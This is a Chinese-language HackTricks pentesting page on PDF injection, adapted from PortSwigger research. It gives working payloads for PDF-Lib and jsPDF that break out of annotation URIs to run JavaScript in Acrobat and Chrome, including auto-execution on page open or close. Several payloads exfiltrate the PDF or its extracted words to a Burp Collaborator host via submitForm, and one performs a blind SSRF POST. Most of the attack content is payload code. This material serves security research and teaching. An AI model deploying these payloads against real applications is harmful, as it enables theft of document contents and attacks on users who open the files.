hacktricks/pentesting-web/xss-cross-site-scripting/pdf-injection.md
2023-08-03 19:12:22 +00:00

19 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

如果你的输入被反射到PDF文件中你可以尝试注入PDF数据来执行JavaScript或窃取PDF内容。

以下信息摘自https://portswigger.net/research/portable-data-exfiltration

PDF-Lib

这次,我使用了PDFLib。我花了一些时间使用该库创建一个注释并尝试将一个闭合括号注入到注释的URI中 - 结果成功了!我用来生成注释代码的样本漏洞代码如下:

...
A: {
Type: 'Action',
S: 'URI',
URI: PDFString.of(`injection)`),
}
})
...

完整代码:

我如何知道注入成功了呢除非我注入一个闭合括号否则PDF将正确渲染。这证明闭合括号打破了字符串并导致PDF代码无效。破坏PDF很好但我需要确保能够执行JavaScript。我查看了渲染后的PDF代码并注意到输出是使用FlateDecode过滤器进行编码的。我编写了一个小脚本来解压缩该块注释部分的输出如下所示<<
/Type /Annot
/Subtype /Link
/Rect [ 50 746.89 320 711.89 ]
/Border [ 0 0 2 ]
/C [ 0 0 1 ]
/A <<
/Type /Action
/S /URI
/URI (injection))
>>
>>

正如你可以清楚地看到的那样注入字符串用一个闭合括号关闭了文本边界留下了一个已存在的闭合括号导致PDF渲染不正确

显示加载PDF时的错误对话框的屏幕截图

太好了我可以破坏PDF的渲染接下来呢我需要想出一个调用一些JavaScript的注入 - PDF注入中的alert(1)。

就像XSS向量依赖于浏览器的解析一样PDF注入的可利用性可能取决于PDF渲染器。我决定首先针对Acrobat进行攻击因为我认为这些向量在Chrome中的可行性较低。我注意到两件事1你可以注入其他的注释操作2如果你修复现有的闭合括号PDF将会渲染。经过一些实验我想出了一个很好的有效负载它注入了一个额外的注释操作执行了JavaScript并修复了闭合括号/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action>>/>>(

首先打破括号,然后使用>>打破字典,然后开始一个新的注释字典。/S/JavaScript使注释基于JavaScript/JS是存储JavaScript的地方。括号内是我们实际的JavaScript代码。请注意如果括号是平衡的你不需要转义括号。最后我添加了注释的类型完成了字典并修复了闭合括号。这太酷了我可以制作一个执行JavaScript的注入但那又怎样呢你可以执行JavaScript但你无法访问DOM所以你无法读取cookie。然后James出现了并建议从注入中窃取PDF的内容。我开始寻找获取PDF内容的方法。在Acrobat中我发现你可以使用JavaScript在没有任何用户交互的情况下提交表单查看JavaScript API的规范修改基本注入并添加一些JavaScript代码将整个PDF代码的内容发送到外部服务器的POST请求中/blah)>>/A<</S/JavaScript/JS(app.alert(1);
this.submitForm({
cURL: 'https://your-id.burpcollaborator.net',cSubmitAs: 'PDF'}))
/Type/Action>>/>>(

alert不是必需的我只是为了证明注入正在执行JavaScript。

接下来只是为了好玩我尝试在不使用JavaScript的情况下窃取PDF的内容。从PDF规范中我发现可以使用一个名为SubmitForm的操作。我在过去使用过这个操作当我在Burp Suite中构建一个用于扫描检查的PDF时。它正如其名。它还有一个Flags字典项来控制提交的内容。Flags字典键接受一个整数值但每个单独的设置由一个二进制位控制。使用ES6中的新二进制字面量来处理这些设置是一个很好的方法。二进制字面量应该有14位因为总共有14个标志。在下面的示例中所有设置都被禁用0b00000000000000

要设置一个标志首先需要查找它的位位置PDF规范的表237。在这种情况下我们想设置SubmitPDF标志。由于这由第9位控制所以你只需要从右边数9位0b00000100000000 如果您使用JavaScript进行评估这将导致十进制值256。换句话说将Flags条目设置为256将启用SubmitPDF标志这会在提交表单时发送PDF的内容。我们所需要做的就是使用之前创建的基本注入并将其修改为调用SubmitForm操作而不是JavaScript/blah)>>/A<</S/SubmitForm/Flags 256/F(
https://your-id.burpcollaborator.net)
/Type/Action>>/>>(

sPDF

接下来我将我的方法应用于另一个PDF库 - jsPDF - 并发现它也存在漏洞。利用这个库非常有趣因为它们有一个可以在浏览器中执行并允许您实时生成PDF的API。我注意到与PDP-Lib库一样他们忘记了在注释URL中转义括号。这里的url属性是有漏洞的doc.createAnnotation({bounds:
{x:0,y:10,w:200,h:200},
type:'link',url:`/input`});
//vulnerable

因此我使用他们的API生成了一个PDF并将PDF代码注入到url属性中

var doc = new jsPDF();
doc.text(20, 20, 'Hello world!');
doc.addPage('a6','l');
doc.createAnnotation({bounds:
{x:0,y:10,w:200,h:200},type:'link',url:`
/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action/F 0/(
`});

我通过删除字典的类型条目和不需要的F条目来减少了向量。然后我留下了一个悬空的括号这个括号将由现有的括号关闭。减少注入的大小很重要因为您要注入的Web应用程序可能只允许有限数量的字符。/blah)>>/A<</S/JavaScript/JS(app.alert(1)

然后我发现可以进一步减少向量Acrobat允许在一个注释操作中同时使用URI和JavaScript条目并且会愉快地执行JavaScript/)/S/JavaScript/JS(app.alert(1)

进一步的研究揭示了您还可以注入多个注释。这意味着您不仅可以注入一个操作,还可以跳出注释并定义自己的矩形坐标,以选择文档的哪个部分可点击。使用这种技术,我能够使整个文档可点击。/) >> >>
<</Type /Annot /Subtype /Link /Rect [0.00 813.54 566.93 -298.27] /Border [0 0
0] /A <</S/SubmitForm/Flags 0/F(https://your-id.burpcollaborator.net

在没有交互的情况下执行注释

到目前为止我演示的向量需要点击才能激活注释的操作。通常James问了一个问题“我们能自动执行吗”我查看了PDF规范并注意到注释的一些有趣特性

PVPI条目允许区分打开的页面和可见的页面。在任何时候,查看器应用程序只会将一个页面视为打开状态,而可以看到多个页面,这取决于页面布局。”

我们可以向字典添加PV条目注释将自动在Acrobat上触发不仅如此我们还可以在关闭PDF文档时自动执行有效载荷使用PC条目。攻击者可以在您打开和关闭PDF时跟踪您。

以下是如何从注释中自动执行的方法:var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/)
>> >>
<</Subtype /Screen /Rect [0 0 900 900] /AA <</PV <</S/JavaScript/JS(app.alert(1))>>/(`});
doc.text(20, 20, 'Auto execute');

当您关闭PDF时此注释将触发var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>
<</Subtype /Screen /Rect [0 0 900 900] /AA <</PC <</S/JavaScript/JS(app.alert(1))>>/(`});
doc.text(20, 20, 'Close me');

Chrome

我已经谈了很多关于Acrobat但是PDFiumChrome的PDF阅读器Chrome很棘手攻击面比Acrobat小得多因为其JavaScript支持比Acrobat有限。我首先注意到的是JavaScript根本不会在注释中执行因此我的概念验证无法工作。为了使向量在Chrome中起作用我至少需要在注释中执行JavaScript。不过首先我决定尝试覆盖注释中的URL。这很容易。我可以使用之前提出的基本注入并简单地注入另一个具有URI条目的操作该条目将覆盖现有的URLvar doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<</S/URI/URI(https://portswigger.net)
/Type/Action>>/F 0>>(`});
doc.text(20, 20, 'Test text');

这将在点击时导航到portswigger.net。然后我继续尝试不同的注入方式来调用JavaScript但每次都失败了。我认为这是不可能的。我退后一步尝试手动构建一个完整的PDF以便在Chrome中通过点击而无需注入调用JavaScript。当使用AcroForm按钮时Chrome将允许执行JavaScript但问题是它需要引用PDF的某些部分。我成功地构建了一个注入它将从JSPDF的点击中执行JavaScriptvar doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.825 0.8275 0.8275]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1))/Type/Action/F 4/DA(blah`});
doc.text(20, 20, 'Click me test'); 如您所见上述向量需要了解PDF结构。[ 3 0 R]指的是特定的PDF对象如果我们进行盲目的PDF注入攻击我们将不知道其结构。不过下一步是尝试表单提交。我们可以使用submitForm函数来实现因为注释需要点击Chrome将允许它/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.0 813.54 566.93 -298.27]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1);this.submitForm('https://your-id.burpcollaborator.net'))/Type/Action/F 4/DA(blah

这样可以工作但是代码很乱需要了解PDF结构。我们可以大大简化它并消除对PDF结构的依赖#) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0 0 889 792]/CA(Submit)>>/Rect [ 0 0 889 792]/Subtype/Widget/AP<</N <</Type/XObject/Subtype/Form>>>>/Parent <</Kids[ ]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(
app.alert(1)
)/Type/Action/F 4/DA(blah
``

我们还可以删除一些代码:var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>>>><</Type/Annot/Rect[ 0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(A)>>/A<</S/JavaScript/JS(app.alert(1))/(`});
doc.text(20, 20, 'Test text');
``

上面的代码跳出了注释创建了一个新的注释并使整个页面可点击。为了执行JavaScript代码我们必须注入一个按钮并使用“T”条目给它任意文本。然后我们可以使用字典中的JS条目最终注入我们的JavaScript代码。在Chrome上执行JavaScript很棒。当我开始这项研究时我从未想过这是可能的。

接下来我研究了submitForm函数以窃取PDF的内容。我们知道我们可以调用该函数并且它会与外部服务器联系正如上面的示例所示但它是否支持完整的Acrobat规范呢我查看了PDFium的源代码但该函数不支持SubmitAsPDF :( 您可以看到它支持FDF但不幸的是这不会提交PDF的内容。我寻找其他方法但不知道有哪些可用的对象。我采用了与Acrobat相同的方法编写了一个模糊器/枚举器来查找有趣的对象。从Chrome中获取信息比Acrobat更困难我必须在输出之前以块的形式收集信息然后使用alert函数输出它。这是因为alert函数会截断发送给它的字符串。...
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>> <</Type/Annot/Rect[0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(
(function(){
var obj = this,
data = '',
chunks = [],
counter = 0,
added = false, i, props = [];
for(i in obj) {
props.push(i);
}
...

完整代码

检查枚举器的输出后我尝试调用各种函数希望进行外部请求或从PDF中获取信息。最终我找到了一个非常有趣的函数名为getPageNthWord它可以从PDF文档中提取单词从而使我能够窃取内容。该函数有一个微妙的错误有时第一个单词不会被提取。但大部分情况下它会提取大部分单词var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>> <</Type/Annot/Rect[0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(
words = [];
for(page=0;page<this.numPages;page++) {
for(wordPos=0;wordPos<this.getPageNumWords(page);wordPos++) {
word = this.getPageNthWord(page, wordPos, true);
words.push(word);
}
}
app.alert(words);
`});
doc.text(20, 20, 'Click me test');
doc.text(20, 40, 'Abc Def');
doc.text(20, 60, 'Some word');
``

我对自己能够在Chrome上窃取PDF内容感到非常满意因为我从未想过这是可能的。将此与submitForm向量结合使用可以将数据发送到外部服务器。唯一的缺点是需要点击。我想知道是否可以在Chrome上实现无需点击的JavaScript执行。再次查看PDF规范我注意到注释字典中还有一个名为“E”的条目当鼠标进入注释区域时将执行注释-基本上是一个鼠标悬停事件。不幸的是这不算作用户交互以启用表单提交。因此尽管可以执行JavaScript但无法对数据进行任何操作因为无法将其发送到外部服务器。如果您能够通过此事件使Chrome提交数据请告诉我因为我会非常感兴趣。无论如何以下是触发鼠标悬停事件的代码var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>
<</Type /Annot /Subtype /Widget /Parent<</FT/Btn/T(a)>> /Rect [0 0 900 900] /AA <</E <</S/JavaScript/JS(app.alert(1))>>/(`});
doc.text(20, 20, 'Test');
``

PDFium/Acrobat中的SSRF

可以使用PDFium/Acrobat发送POST请求来执行SSRF攻击。这将是一种盲目的SSRF因为您可以发送POST请求但无法读取响应。要构造POST请求可以像之前演示的那样使用/parent字典键将表单元素分配给注释从而启用JavaScript执行。但是与之前使用按钮不同您可以使用参数名称(/T)和参数值(/V)字典键将文本字段(/Tx)分配给注释。请注意您必须将要使用的参数名称作为数组传递给submitForm函数:#)>>>><</Type/Annot/Rect[ 0 0 900 900]/Subtype/Widget/Parent<</FT/Tx/T(foo)/V(bar)>>/A<</S/JavaScript/JS(
app.alert(1);
this.submitForm('https://aiws4u6uubgfdag94xvc5wbrfilc91.burpcollaborator.net', false, false, ['foo']);
)/(
``

您甚至可以发送原始换行符,这在链接其他攻击(如请求走私时可能很有用。POST请求的结果可以在以下Collaborator请求中看到

显示来自PDF的Burp Collaborator请求的屏幕截图

最后我想以Chrome和Acrobat PDF注入的混合方式结束。第一部分将JavaScript注入到现有注释中以在Acrobat上执行JavaScript。第二部分跳出注释并注入一个新的注释为Chrome定义一个新的可点击区域。我再次使用Acroform技巧来注入一个按钮以便执行JavaScriptvar doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)/S/JavaScript/JS(app.alert(1))/Type/Action>> >> <</Type/Annot/Rect[0 0 900 700]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(app.alert(1)`});
doc.text(20, 20, 'Click me Acrobat');
doc.text(20, 60, 'Click me Chrome');

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥